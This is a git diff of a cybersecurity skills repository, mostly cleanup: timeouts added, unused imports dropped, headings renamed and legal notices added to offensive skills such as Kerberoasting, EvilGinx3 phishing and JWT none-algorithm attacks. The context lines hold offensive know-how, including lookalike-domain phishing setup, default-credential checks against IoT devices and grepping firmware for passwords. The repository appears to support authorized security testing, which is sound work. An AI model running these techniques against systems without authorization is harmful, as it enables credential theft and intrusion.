import Counter, defaultdict from datetime import datetime -from scapy.all import rdpcap, DNS, DNSQR, DNSRR +from scapy.all import rdpcap, DNS, DNSQR def shannon_entropy(data): diff --git a/skills/performing-docker-bench-security-assessment/SKILL.md b/skills/performing-docker-bench-security-assessment/SKILL.md index dce20088..af261c41 100644 --- a/skills/performing-docker-bench-security-assessment/SKILL.md +++ b/skills/performing-docker-bench-security-assessment/SKILL.md @@ -20,7 +20,7 @@ Docker Bench for Security is an open-source script that checks dozens of common - Root or sudo access on Docker host - Docker Bench Security script or container image -## Implementation Steps +## Workflow ### Step 1: Run Docker Bench Security diff --git a/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py b/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py index d334f8d1..6fee355a 100644 --- a/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py +++ b/skills/performing-dynamic-analysis-of-android-app/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import subprocess -from datetime import datetime try: import frida diff --git a/skills/performing-endpoint-forensics-investigation/scripts/agent.py b/skills/performing-endpoint-forensics-investigation/scripts/agent.py index c92c6879..fbcdf13f 100644 --- a/skills/performing-endpoint-forensics-investigation/scripts/agent.py +++ b/skills/performing-endpoint-forensics-investigation/scripts/agent.py @@ -7,7 +7,6 @@ import subprocess import os import hashlib from datetime import datetime -from pathlib import Path def collect_system_info(): diff --git a/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py b/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py index 0630e5f4..c99b107d 100644 --- a/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py +++ b/skills/performing-endpoint-vulnerability-remediation/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import subprocess import csv from datetime import datetime -from pathlib import Path def parse_scan_report(csv_file): diff --git a/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py b/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py index 49dc1c64..bf858379 100644 --- a/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py +++ b/skills/performing-entitlement-review-with-sailpoint-iiq/scripts/agent.py @@ -8,8 +8,7 @@ and entitlement review reporting via the SailPoint IdentityIQ REST API. import requests import json import sys -from datetime import datetime, timedelta -from collections import defaultdict +from datetime import datetime class SailPointIIQAgent: @@ -28,14 +27,14 @@ class SailPointIIQAgent: """Retrieve certification campaigns filtered by phase.""" url = f"{self.base_url}/identityiq/scim/v2/Certifications" params = {"filter": f'phase eq "{phase}"'} - resp = self.session.get(url, params=params) + resp = self.session.get(url, params=params, timeout=30) resp.raise_for_status() return resp.json().get("Resources", []) def get_certification_items(self, cert_id): """Get individual certification items for a campaign.""" url = f"{self.base_url}/identityiq/scim/v2/Certifications/{cert_id}/items" - resp = self.session.get(url) + resp = self.session.get(url, timeout=30) resp.raise_for_status() return resp.json().get("Resources", []) @@ -45,7 +44,7 @@ class SailPointIIQAgent: params = {} if query: params["filter"] = query - resp = self.session.get(url, params=params) + resp = self.session.get(url, params=params, timeout=30) resp.raise_for_status() return resp.json().get("Resources", []) @@ -53,21 +52,21 @@ class SailPointIIQAgent: """Get entitlements for a specific identity.""" url = f"{self.base_url}/identityiq/scim/v2/Users/{identity_id}" params = {"attributes": "entitlements,roles,accounts"} - resp = self.session.get(url, params=params) + resp = self.session.get(url, params=params, timeout=30) resp.raise_for_status() return resp.json() def check_sod_violations(self, identity_id): """Check for separation of duties violations on an identity.""" url = f"{self.base_url}/identityiq/rest/identities/{identity_id}/policyViolations" - resp = self.session.get(url) + resp = self.session.get(url, timeout=30) resp.raise_for_status() return resp.json() def get_campaign_statistics(self, cert_id): """Retrieve completion statistics for a certification campaign.""" url = f"{self.base_url}/identityiq/rest/certifications/{cert_id}/statistics" - resp = self.session.get(url) + resp = self.session.get(url, timeout=30) resp.raise_for_status() return resp.json() @@ -79,7 +78,7 @@ class SailPointIIQAgent: "comments": comments, "decisionDate": datetime.utcnow().isoformat() + "Z", } - resp = self.session.post(url, json=payload) + resp = self.session.post(url, json=payload, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/performing-file-carving-with-foremost/scripts/agent.py b/skills/performing-file-carving-with-foremost/scripts/agent.py index d6d2888d..29f9f0ca 100644 --- a/skills/performing-file-carving-with-foremost/scripts/agent.py +++ b/skills/performing-file-carving-with-foremost/scripts/agent.py @@ -6,7 +6,6 @@ validates carved files, and generates evidence catalogs with hashes. """ import subprocess -import os import sys import hashlib import json @@ -25,14 +24,14 @@ class FileCarvingAgent: """Execute foremost against a disk image.""" carved_dir = self.output_dir / "foremost_output" if carved_dir.exists(): - subprocess.run(["rm", "-rf", str(carved_dir)], check=False) + subprocess.run(["rm", "-rf", str(carved_dir)], check=False, timeout=120) cmd = ["foremost"] if config_path: cmd.extend(["-c", config_path]) cmd.extend(["-t", file_types, "-i", image_path, "-o", str(carved_dir)]) - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: print(f"Foremost error: {result.stderr}") return carved_dir @@ -41,7 +40,7 @@ class FileCarvingAgent: """Execute scalpel for high-performance carving.""" carved_dir = self.output_dir / "scalpel_output" cmd = ["scalpel", "-c", config_path, "-o", str(carved_dir), image_path] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: print(f"Scalpel error: {result.stderr}") return carved_dir @@ -68,7 +67,8 @@ class FileCarvingAgent: result = subprocess.run( ["file", "--brief", str(filepath)], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) file_type = result.stdout.strip().lower() if "data" in file_type or "empty" in file_type: diff --git a/skills/performing-firmware-malware-analysis/scripts/agent.py b/skills/performing-firmware-malware-analysis/scripts/agent.py index 92f3cdd8..16a99a0f 100644 --- a/skills/performing-firmware-malware-analysis/scripts/agent.py +++ b/skills/performing-firmware-malware-analysis/scripts/agent.py @@ -31,7 +31,8 @@ class FirmwareAnalysisAgent: """Scan firmware with binwalk to identify embedded components.""" result = subprocess.run( ["binwalk", str(self.firmware_path)], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) return {"output": result.stdout, "returncode": result.returncode} @@ -40,7 +41,8 @@ class FirmwareAnalysisAgent: extract_dir = self.output_dir / "extracted" result = subprocess.run( ["binwalk", "-eM", "-C", str(extract_dir), str(self.firmware_path)], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) return {"extract_dir": str(extract_dir), "returncode": result.returncode} @@ -48,7 +50,8 @@ class FirmwareAnalysisAgent: """Run binwalk entropy analysis to detect encrypted/compressed regions.""" result = subprocess.run( ["binwalk", "-E", str(self.firmware_path)], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) return {"output": result.stdout} @@ -142,7 +145,8 @@ class FirmwareAnalysisAgent: try: result = subprocess.run( ["file", "--brief", str(filepath)], - capture_output=True, text=True + capture_output=True, text=True, + timeout=120, ) if "ELF" in result.stdout: binaries.append({ diff --git a/skills/performing-fuzzing-with-aflplusplus/scripts/agent.py b/skills/performing-fuzzing-with-aflplusplus/scripts/agent.py index 4c9c149e..8720b8c9 100644 --- a/skills/performing-fuzzing-with-aflplusplus/scripts/agent.py +++ b/skills/performing-fuzzing-with-aflplusplus/scripts/agent.py @@ -3,11 +3,9 @@ """AFL++ fuzzing campaign management and crash triage agent.""" import json -import sys import argparse import os import subprocess -import glob from datetime import datetime diff --git a/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/scripts/agent.py b/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/scripts/agent.py index 9743d106..3ce8910b 100644 --- a/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/scripts/agent.py +++ b/skills/performing-gcp-penetration-testing-with-gcpbucketbrute/scripts/agent.py @@ -6,7 +6,6 @@ import json import subprocess import argparse -import itertools from datetime import datetime BUCKET_PERMUTATIONS = [ diff --git a/skills/performing-graphql-depth-limit-attack/SKILL.md b/skills/performing-graphql-depth-limit-attack/SKILL.md index 86376b58..b4001e34 100644 --- a/skills/performing-graphql-depth-limit-attack/SKILL.md +++ b/skills/performing-graphql-depth-limit-attack/SKILL.md @@ -23,6 +23,9 @@ GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to c - Burp Suite or mitmproxy for traffic analysis - Authorization to perform security testing on the target + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Core Attack Techniques ### 1. Recursive Depth Attack diff --git a/skills/performing-graphql-depth-limit-attack/scripts/agent.py b/skills/performing-graphql-depth-limit-attack/scripts/agent.py index ecc0d53d..b5f46f17 100644 --- a/skills/performing-graphql-depth-limit-attack/scripts/agent.py +++ b/skills/performing-graphql-depth-limit-attack/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for performing GraphQL depth limit attack testing.""" import json diff --git a/skills/performing-graphql-introspection-attack/SKILL.md b/skills/performing-graphql-introspection-attack/SKILL.md index 83239753..400cb87f 100644 --- a/skills/performing-graphql-introspection-attack/SKILL.md +++ b/skills/performing-graphql-introspection-attack/SKILL.md @@ -36,6 +36,9 @@ license: Apache-2.0 - Clairvoyance tool for schema reconstruction when introspection is disabled - Wordlists for GraphQL field and type name brute-forcing + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1: GraphQL Endpoint Discovery diff --git a/skills/performing-graphql-introspection-attack/scripts/agent.py b/skills/performing-graphql-introspection-attack/scripts/agent.py index f4c81b75..509716b0 100644 --- a/skills/performing-graphql-introspection-attack/scripts/agent.py +++ b/skills/performing-graphql-introspection-attack/scripts/agent.py @@ -1,9 +1,11 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for performing GraphQL introspection attack and schema analysis.""" import json import argparse -from datetime import datetime try: import requests diff --git a/skills/performing-graphql-security-assessment/scripts/agent.py b/skills/performing-graphql-security-assessment/scripts/agent.py index cff786f1..58e73de1 100644 --- a/skills/performing-graphql-security-assessment/scripts/agent.py +++ b/skills/performing-graphql-security-assessment/scripts/agent.py @@ -8,7 +8,6 @@ query depth/complexity DoS, and injection vulnerabilities. import requests import json import sys -from urllib.parse import urlparse class GraphQLSecurityAgent: diff --git a/skills/performing-hardware-security-module-integration/scripts/agent.py b/skills/performing-hardware-security-module-integration/scripts/agent.py index 276540c8..2b370fcb 100644 --- a/skills/performing-hardware-security-module-integration/scripts/agent.py +++ b/skills/performing-hardware-security-module-integration/scripts/agent.py @@ -8,7 +8,6 @@ from datetime import datetime try: import pkcs11 from pkcs11 import KeyType, ObjectClass, Mechanism - from pkcs11.util.rsa import encode_rsa_public_key except ImportError: pkcs11 = None diff --git a/skills/performing-hash-cracking-with-hashcat/scripts/agent.py b/skills/performing-hash-cracking-with-hashcat/scripts/agent.py index ceda3483..f0c3293b 100644 --- a/skills/performing-hash-cracking-with-hashcat/scripts/agent.py +++ b/skills/performing-hash-cracking-with-hashcat/scripts/agent.py @@ -6,8 +6,8 @@ import argparse import subprocess import hashlib import re +from collections import Counter from pathlib import Path -from datetime import datetime HASH_PATTERNS = { @@ -121,7 +121,7 @@ def parse_hashcat_status(potfile): "total_cracked": len(cracked), "length_distribution": length_dist, "charset_analysis": charset, - "top_passwords": [p for p, _ in __import__("collections").Counter(passwords).most_common(10)], + "top_passwords": [p for p, _ in Counter(passwords).most_common(10)], } diff --git a/skills/performing-http-parameter-pollution-attack/SKILL.md b/skills/performing-http-parameter-pollution-attack/SKILL.md index 59ccaa25..a3d58cef 100644 --- a/skills/performing-http-parameter-pollution-attack/SKILL.md +++ b/skills/performing-http-parameter-pollution-attack/SKILL.md @@ -25,6 +25,9 @@ license: Apache-2.0 - cURL or httpie for manual parameter crafting - Target application technology stack identification (Apache, IIS, Tomcat, Node.js, etc.) + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Workflow ### Step 1 — Identify Parameter Handling Behavior diff --git a/skills/performing-http-parameter-pollution-attack/scripts/agent.py b/skills/performing-http-parameter-pollution-attack/scripts/agent.py index ad9b9754..578e1e15 100644 --- a/skills/performing-http-parameter-pollution-attack/scripts/agent.py +++ b/skills/performing-http-parameter-pollution-attack/scripts/agent.py @@ -1,10 +1,11 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for performing HTTP parameter pollution (HPP) attack testing.""" import json import argparse -from datetime import datetime -from urllib.parse import urlencode, parse_qs, urlparse try: import requests diff --git a/skills/performing-indicator-lifecycle-management/SKILL.md b/skills/performing-indicator-lifecycle-management/SKILL.md index dd02fd95..3b3f4b0a 100644 --- a/skills/performing-indicator-lifecycle-management/SKILL.md +++ b/skills/performing-indicator-lifecycle-management/SKILL.md @@ -41,7 +41,7 @@ Indicator confidence decreases over time as adversaries rotate infrastructure. A - **Coverage**: Percentage of known threat techniques with IOC coverage - **Freshness**: Average age of active indicators in the database -## Practical Steps +## Workflow ### Step 1: Implement IOC Lifecycle State Machine diff --git a/skills/performing-indicator-lifecycle-management/scripts/agent.py b/skills/performing-indicator-lifecycle-management/scripts/agent.py index 49a70145..f968d868 100644 --- a/skills/performing-indicator-lifecycle-management/scripts/agent.py +++ b/skills/performing-indicator-lifecycle-management/scripts/agent.py @@ -5,8 +5,7 @@ import json import argparse import csv import re -import hashlib -from datetime import datetime, timedelta +from datetime import datetime from pathlib import Path diff --git a/skills/performing-initial-access-with-evilginx3/SKILL.md b/skills/performing-initial-access-with-evilginx3/SKILL.md index ab00254b..bfe00046 100644 --- a/skills/performing-initial-access-with-evilginx3/SKILL.md +++ b/skills/performing-initial-access-with-evilginx3/SKILL.md @@ -32,7 +32,7 @@ EvilGinx3 is a man-in-the-middle attack framework used for phishing login creden - **T1556** - Modify Authentication Process - **T1550.004** - Use Alternate Authentication Material: Web Session Cookie -## Implementation Steps +## Workflow ### Phase 1: Infrastructure Setup 1. Register a convincing lookalike domain (e.g., using homoglyphs or typosquatting) diff --git a/skills/performing-initial-access-with-evilginx3/scripts/agent.py b/skills/performing-initial-access-with-evilginx3/scripts/agent.py index 3f9aa7b0..83ed73bf 100644 --- a/skills/performing-initial-access-with-evilginx3/scripts/agent.py +++ b/skills/performing-initial-access-with-evilginx3/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import subprocess import re from pathlib import Path -from datetime import datetime def parse_phishlet(phishlet_path): diff --git a/skills/performing-insider-threat-investigation/scripts/agent.py b/skills/performing-insider-threat-investigation/scripts/agent.py index a4c69b48..cb850b3f 100644 --- a/skills/performing-insider-threat-investigation/scripts/agent.py +++ b/skills/performing-insider-threat-investigation/scripts/agent.py @@ -9,7 +9,7 @@ threat cases. import json import sys import csv -from datetime import datetime, timedelta +from datetime import datetime from collections import defaultdict from pathlib import Path diff --git a/skills/performing-iot-security-assessment/scripts/agent.py b/skills/performing-iot-security-assessment/scripts/agent.py index 8f1f6410..bd76ea57 100644 --- a/skills/performing-iot-security-assessment/scripts/agent.py +++ b/skills/performing-iot-security-assessment/scripts/agent.py @@ -8,7 +8,6 @@ network traffic analysis, and service scanning for security testing. import subprocess import json import sys -import re import hashlib from pathlib import Path @@ -53,6 +52,7 @@ class IoTSecurityAgent: "-u", f"{username}:{password}", f"http://{self.target_ip}/", "--max-time", "5"], capture_output=True, text=True, + timeout=120, ) status = result.stdout.strip() if status in ("200", "301", "302"): @@ -72,12 +72,14 @@ class IoTSecurityAgent: sha256 = hashlib.sha256(fw_path.read_bytes()).hexdigest() scan_result = subprocess.run( - ["binwalk", str(fw_path)], capture_output=True, text=True + ["binwalk", str(fw_path)], capture_output=True, text=True, + timeout=120, ) extract_dir = self.output_dir / "firmware_extracted" subprocess.run( ["binwalk", "-eM", "-C", str(extract_dir), str(fw_path)], capture_output=True, text=True, + timeout=120, ) creds_found = [] @@ -89,6 +91,7 @@ class IoTSecurityAgent: ["grep", "-rn", "-i", "password\\|passwd\\|secret", str(extract_dir)], capture_output=True, text=True, + timeout=120, ) for line in grep_result.stdout.splitlines()[:20]: creds_found.append(line.strip()) @@ -111,7 +114,8 @@ class IoTSecurityAgent: ) if pcap_path.exists(): stats = subprocess.run( - ["capinfos", str(pcap_path)], capture_output=True, text=True + ["capinfos", str(pcap_path)], capture_output=True, text=True, + timeout=120, ) return {"pcap": str(pcap_path), "stats": stats.stdout} return {"error": "Capture failed"} diff --git a/skills/performing-ip-reputation-analysis-with-shodan/SKILL.md b/skills/performing-ip-reputation-analysis-with-shodan/SKILL.md index f5e5795b..453a8fd2 100644 --- a/skills/performing-ip-reputation-analysis-with-shodan/SKILL.md +++ b/skills/performing-ip-reputation-analysis-with-shodan/SKILL.md @@ -36,7 +36,7 @@ Shodan's free InternetDB API (internetdb.shodan.io) provides quick IP lookups wi IP reputation is assessed by combining: number and type of open ports (unusual ports indicate compromise), vulnerable services (unpatched software with known CVEs), hosting type (residential, cloud, VPN/proxy, bulletproof hosting), historical activity (past associations with malware, scanning, spam), and geographic context (countries known for specific threat activity). -## Practical Steps +## Workflow ### Step 1: Basic IP Enrichment with Shodan API diff --git a/skills/performing-jwt-none-algorithm-attack/SKILL.md b/skills/performing-jwt-none-algorithm-attack/SKILL.md index d7c2fb18..68f2332c 100644 --- a/skills/performing-jwt-none-algorithm-attack/SKILL.md +++ b/skills/performing-jwt-none-algorithm-attack/SKILL.md @@ -23,6 +23,9 @@ The JWT none algorithm attack exploits a vulnerability in JSON Web Token librari - Understanding of JWT structure (Header.Payload.Signature) - Authorization to perform security testing on the target + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## JWT Structure A JWT consists of three Base64URL-encoded parts separated by dots: diff --git a/skills/performing-jwt-none-algorithm-attack/scripts/agent.py b/skills/performing-jwt-none-algorithm-attack/scripts/agent.py index 49f3604d..a73789aa 100644 --- a/skills/performing-jwt-none-algorithm-attack/scripts/agent.py +++ b/skills/performing-jwt-none-algorithm-attack/scripts/agent.py @@ -1,4 +1,7 @@ #!/usr/bin/env python3 +# For authorized penetration testing and educational environments only. +# Usage against targets without prior mutual consent is illegal. +# It is the end user's responsibility to obey all applicable local, state and federal laws. """Agent for performing JWT 'none' algorithm attack testing.""" import json diff --git a/skills/performing-kerberoasting-attack/SKILL.md b/skills/performing-kerberoasting-attack/SKILL.md index 314f9dba..364c3ea4 100644 --- a/skills/performing-kerberoasting-attack/SKILL.md +++ b/skills/performing-kerberoasting-attack/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Performing Kerberoasting Attack + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview Kerberoasting is a post-exploitation technique that targets service accounts in Active Directory by requesting Kerberos TGS (Ticket Granting Service) tickets for accounts with Service Principal Names (SPNs) set. These tickets are encrypted with the service account's NTLM hash, allowing offline brute-force cracking without generating failed login events. It is one of the most common privilege escalation paths in AD environments because any domain user can request TGS tickets. @@ -20,7 +23,7 @@ Kerberoasting is a post-exploitation technique that targets service accounts in - **T1087.002** - Account Discovery: Domain Account - **T1069.002** - Permission Groups Discovery: Domain Groups -## Implementation Steps +## Workflow ### Phase 1: SPN Enumeration 1. Enumerate accounts with SPNs using LDAP queries diff --git a/skills/performing-kerberoasting-attack/scripts/agent.py b/skills/performing-kerberoasting-attack/scripts/agent.py index 9013e485..a7f55c56 100644 --- a/skills/performing-kerberoasting-attack/scripts/agent.py +++ b/skills/performing-kerberoasting-attack/scripts/agent.py @@ -4,8 +4,6 @@ import json import argparse import subprocess -import re -from datetime import datetime from pathlib import Path diff --git a/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py b/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py index 27148306..c8af6190 100644 --- a/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py +++ b/skills/performing-kubernetes-etcd-security-assessment/scripts/agent.py @@ -3,6 +3,7 @@ import json import argparse +import os import subprocess import re from datetime import datetime @@ -42,7 +43,8 @@ def check_etcd_encryption(kubeconfig=None): return {"error": str(e)} -def check_etcd_access(etcd_endpoint="https://127.0.0.1:2379", cert=None, key=None, cacert=None): +def check_etcd_access(etcd_endpoint=None, cert=None, key=None, cacert=None): + etcd_endpoint = etcd_endpoint or os.environ.get("ETCD_ENDPOINT", "https://127.0.0.1:2379") """Test etcd access and check for unauthenticated access.""" cmd = ["etcdctl", "endpoint", "health", "--endpoints", etcd_endpoint] if cert: @@ -154,7 +156,7 @@ def main(): sub = parser.add_subparsers(dest="command") sub.add_parser("encrypt", help="Check encryption at rest") a = sub.add_parser("access", help="Test etcd access") - a.add_argument("--endpoint", default="https://127.0.0.1:2379") + a.add_argument("--endpoint", default=os.environ.get("ETCD_ENDPOINT", "https://127.0.0.1:2379")) a.add_argument("--cert", help="Client certificate") a.add_argument("--key", help="Client key") a.add_argument("--cacert", help="CA certificate") diff --git a/skills/performing-kubernetes-penetration-testing/SKILL.md b/skills/performing-kubernetes-penetration-testing/SKILL.md index 018a7039..416112c5 100644 --- a/skills/performing-kubernetes-penetration-testing/SKILL.md +++ b/skills/performing-kubernetes-penetration-testing/SKILL.md @@ -47,7 +47,7 @@ Kubernetes penetration testing systematically evaluates cluster security by simu | Credential Access | Secret extraction, service account token theft | | Lateral Movement | Container escape, cluster internal services | -## Implementation Steps +## Workflow ### Step 1: External Reconnaissance diff --git a/skills/performing-lateral-movement-detection/scripts/agent.py b/skills/performing-lateral-movement-detection/scripts/agent.py index a60afc55..e09c0ae5 100644 --- a/skills/performing-lateral-movement-detection/scripts/agent.py +++ b/skills/performing-lateral-movement-detection/scripts/agent.py @@ -9,7 +9,6 @@ mapped to MITRE ATT&CK TA0008 techniques. import json import sys import csv -import re from collections import defaultdict from datetime import datetime from pathlib import Path diff --git a/skills/performing-lateral-movement-with-wmiexec/SKILL.md b/skills/performing-lateral-movement-with-wmiexec/SKILL.md index 31a362be..f253cbef 100644 --- a/skills/performing-lateral-movement-with-wmiexec/SKILL.md +++ b/skills/performing-lateral-movement-with-wmiexec/SKILL.md @@ -10,6 +10,9 @@ license: Apache-2.0 --- # Performing Lateral Movement with WMIExec + +> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. + ## Overview WMI (Windows Management Instrumentation) is a legitimate Windows administration framework that red teams abuse for lateral movement because it provides remote command execution without deploying additional services or leaving obvious artifacts like PsExec. Impacket's wmiexec.py creates a semi-interactive shell over WMI by executing commands through Win32_Process.Create and reading output via temporary files on ADMIN$ share. Unlike PsExec, WMIExec does not install a service on the target, making it stealthier and less likely to trigger security alerts. WMI-based lateral movement maps to MITRE ATT&CK T1047 (Windows Management Instrumentation) and is used by threat actors including APT29, APT32, and Lazarus Group. @@ -31,7 +34,7 @@ WMI (Windows Management Instrumentation) is a legitimate Windows administration - **T1059.001** - Command and Scripting Interpreter: PowerShell - **T1570** - Lateral Tool Transfer -## Implementation Steps +## Workflow ### Phase 1: WMIExec with Impacket 1. Execute a semi-interactive shell with credentials: diff --git a/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py b/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py index ef21f33e..10db9213 100644 --- a/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py +++ b/skills/performing-lateral-movement-with-wmiexec/scripts/agent.py @@ -5,8 +5,6 @@ import json import argparse import subprocess import re -from datetime import datetime -from pathlib import Path def detect_wmiexec_artifacts_evtx(evtx_file): diff --git a/skills/performing-linux-log-forensics-investigation/scripts/agent.py b/skills/performing-linux-log-forensics-investigation/scripts/agent.py index 56afece2..47d43298 100644 --- a/skills/performing-linux-log-forensics-investigation/scripts/agent.py +++ b/skills/performing-linux-log-forensics-investigation/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import re import gzip -from datetime import datetime from pathlib import Path from collections import Counter diff --git a/skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md b/skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md index 9030e622..dd696a22 100644 --- a/skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md +++ b/skills/performing-malware-hash-enrichment-with-virustotal/SKILL.md @@ -36,7 +36,7 @@ The typical enrichment flow is: receive hash from alert/EDR -> query VT API -> p VirusTotal enables pivoting from a single hash to related intelligence: similar files (ITW/in-the-wild samples), contacted domains and IPs (C2 infrastructure), dropped files, embedded URLs, YARA rule matches, and threat actor attribution through crowdsourced intelligence. -## Practical Steps +## Workflow ### Step 1: Query VirusTotal for Hash Report diff --git a/skills/performing-malware-ioc-extraction/SKILL.md b/skills/performing-malware-ioc-extraction/SKILL.md index d255f9d5..0647f857 100644 --- a/skills/performing-malware-ioc-extraction/SKILL.md +++ b/skills/performing-malware-ioc-extraction/SKILL.md @@ -43,7 +43,7 @@ Malware IOC extraction is the process of analyzing malicious software to identif ### YARA Rules YARA is a pattern-matching tool for identifying and classifying malware. Rules consist of strings (text, hex, regex) and conditions that define matching logic. Rules can detect malware families, packers, exploit kits, and specific campaign tools. -## Practical Steps +## Workflow ### Step 1: Static Analysis - PE Parsing and Hash Generation diff --git a/skills/performing-malware-ioc-extraction/scripts/agent.py b/skills/performing-malware-ioc-extraction/scripts/agent.py index 8f70afbe..4bc53e86 100644 --- a/skills/performing-malware-ioc-extraction/scripts/agent.py +++ b/skills/performing-malware-ioc-extraction/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import re import hashlib from pathlib import Path -from collections import Counter IOC_PATTERNS = { diff --git a/skills/performing-malware-persistence-investigation/scripts/agent.py b/skills/performing-malware-persistence-investigation/scripts/agent.py index 85d26ef2..c0a7aa49 100644 --- a/skills/performing-malware-persistence-investigation/scripts/agent.py +++ b/skills/performing-malware-persistence-investigation/scripts/agent.py @@ -7,11 +7,8 @@ WMI subscriptions, and Linux cron/systemd persistence mechanisms. import json import sys -import os -import re import xml.etree.ElementTree as ET from pathlib import Path -from collections import defaultdict SUSPICIOUS_INDICATORS = [ diff --git a/skills/performing-malware-triage-with-yara/scripts/agent.py b/skills/performing-malware-triage-with-yara/scripts/agent.py index 9c6fd1e6..ec44a0f7 100644 --- a/skills/performing-malware-triage-with-yara/scripts/agent.py +++ b/skills/performing-malware-triage-with-yara/scripts/agent.py @@ -6,7 +6,6 @@ perform batch scanning, and generate triage reports. """ import yara -import os import sys import json import hashlib diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md b/skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md index 8823f9b2..621d91b3 100644 --- a/skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md +++ b/skills/performing-memory-forensics-with-volatility3-plugins/SKILL.md @@ -22,7 +22,7 @@ Volatility3 (v2.26.0+, feature parity release May 2025) is the standard framewor - Understanding of Windows process memory architecture - YARA integration for in-memory pattern scanning -## Practical Steps +## Workflow ### Step 1: Process Analysis for Malware Detection diff --git a/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py b/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py index 0e432ff0..d502ed1c 100644 --- a/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py +++ b/skills/performing-memory-forensics-with-volatility3-plugins/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import subprocess from datetime import datetime -from pathlib import Path VOL3_PLUGINS = { diff --git a/skills/performing-memory-forensics-with-volatility3/scripts/agent.py b/skills/performing-memory-forensics-with-volatility3/scripts/agent.py index 0485d3ec..f5989b7e 100644 --- a/skills/performing-memory-forensics-with-volatility3/scripts/agent.py +++ b/skills/performing-memory-forensics-with-volatility3/scripts/agent.py @@ -11,7 +11,6 @@ import json import sys import re from pathlib import Path -from collections import defaultdict class MemoryForensicsAgent: diff --git a/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py b/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py index 30756a7d..a6b8d7d8 100644 --- a/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py +++ b/skills/performing-mobile-app-certificate-pinning-bypass/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import subprocess -from datetime import datetime from pathlib import Path diff --git a/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py b/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py index a2ff3f4c..9db94e9f 100644 --- a/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py +++ b/skills/performing-mobile-device-forensics-with-cellebrite/scripts/agent.py @@ -9,11 +9,12 @@ iOS and Android file system extractions. import sqlite3 import json import sys -import csv -import os +import re from pathlib import Path from datetime import datetime +_SAFE_TABLE_RE = re.compile(r'^[a-zA-Z_][a-zA-Z0-9_]*$') + class MobileForensicsAgent: """Parses mobile device extraction data for forensic analysis.""" @@ -147,10 +148,14 @@ class MobileForensicsAgent: cursor.execute("SELECT name FROM sqlite_master WHERE type='table'") tables = [row[0] for row in cursor.fetchall()] for table in tables: + if not _SAFE_TABLE_RE.match(table): + continue try: cursor.execute(f"SELECT * FROM [{table}] LIMIT 1") columns = [desc[0] for desc in cursor.description] for col in columns: + if not _SAFE_TABLE_RE.match(col): + continue cursor.execute( f"SELECT [{col}] FROM [{table}] WHERE 